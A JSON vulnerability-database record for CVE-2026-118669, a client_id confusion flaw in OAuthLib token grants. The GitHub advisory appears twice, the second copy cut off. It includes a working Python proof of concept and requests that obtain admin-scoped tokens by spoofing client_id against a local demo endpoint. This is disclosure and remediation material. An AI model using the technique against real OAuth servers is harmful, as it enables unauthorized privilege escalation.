{"id":"CVE-2026-118669","aliases":["AZL-112133","DEBIAN-CVE-2026-118669","EUVD-2026-112488","GHSA-7984-qgvg-3j9c","ROOT-APP-PYPI-CVE-2026-118669","UBUNTU-CVE-2026-118669","openSUSE-SU-2026:12520-1"],"status":"published","title":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","severity":{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00312,"percentile":0.2446,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-863"],"published":"2026-10-28T21:09:58Z","modified":"2026-11-11T17:27:06Z","exploits":[{"source":"pocgithub","id":"federiconbaez/cortex9-oauthlib-token-grant-client-id-confusion-model","title":"federiconbaez/cortex9-oauthlib-token-grant-client-id-confusion-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-oauthlib-token-grant-client-id-confusion-model"}],"fixes":[{"ecosystem":"PyPI","package":"oauthlib","fixed_in":["4.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:PyPI","package":"oauthlib","fixed_in":["3.3.1+aikido.2","3.2.2+aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.2.2-4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.2-1","3.2.2-2","3.2.2-3","3.2.2-4","3.3.1-1","3.3.1-2"]},{"source":"osv","ecosystem":"Debian:13","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.2-3","3.2.2-4","3.3.1-1","3.3.1-2"]},{"source":"osv","ecosystem":"Debian:14","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.2-3","3.2.2-4","3.3.1-1","3.3.1-2"]},{"source":"osv","ecosystem":"PyPI","package":"oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0"}]}],"versions":["0.0.1","0.0.2","0.1.0","0.1.1","0.1.2","0.1.3","0.3.0","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.1.1","1.1.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.1.0","3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1"]},{"source":"osv","ecosystem":"Root:PyPI","package":"oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.1+aikido.2"},{"fixed":"3.2.2+aikido.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1","1.0.3-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.1-1","2.0.4-1","2.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.1.0-1","3.1.0-1ubuntu1","3.1.0-1ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-2","3.1.1-1","3.2.0-1","3.2.0-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.1-1build1","3.3.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.2-3","3.3.1-1","3.3.1-1build1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-oauthlib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.1-1.1"}]}],"bundled":2}],"products":[{"vendor":"oauthlib","product":"oauthlib"}],"references":[{"url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/oauthlib/oauthlib/pull/920","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-7984-qgvg-3j9c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/118xxx/CVE-2026-118669.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-118669","tags":["advisory"]},{"url":"https://github.com/oauthlib/oauthlib","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-118669","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-118669","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-118669","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49272","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-118669","title":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T21:09:58.893Z","modified":"2026-11-03T13:38:35.048Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-03T14:28:05.368159Z"}],"euvd":[{"id":"EUVD-2026-112488","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T21:09:58Z","modified":"2026-11-03T13:38:35Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-03T15:18:10.516363Z"}],"ghsa":[{"id":"GHSA-7984-qgvg-3j9c","title":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","description":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","status":"published","published":"2026-10-30T22:58:16Z","modified":"2026-10-30T22:58:18Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-118669","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T22:17:12.61Z","modified":"2026-11-03T14:17:32.237Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-03T18:16:46.837221Z"}],"osv":[{"id":"CVE-2026-118669","title":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T21:09:58.893Z","modified":"2026-11-11T17:27:06.488823085Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-07T03:08:01.41647Z"},{"id":"DEBIAN-CVE-2026-118669","description":"OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.","status":"published","published":"2026-10-28T22:17:12.61Z","modified":"2026-11-04T09:47:22.315084251Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-04T10:05:57.467041Z"},{"id":"GHSA-7984-qgvg-3j9c","title":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","description":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise 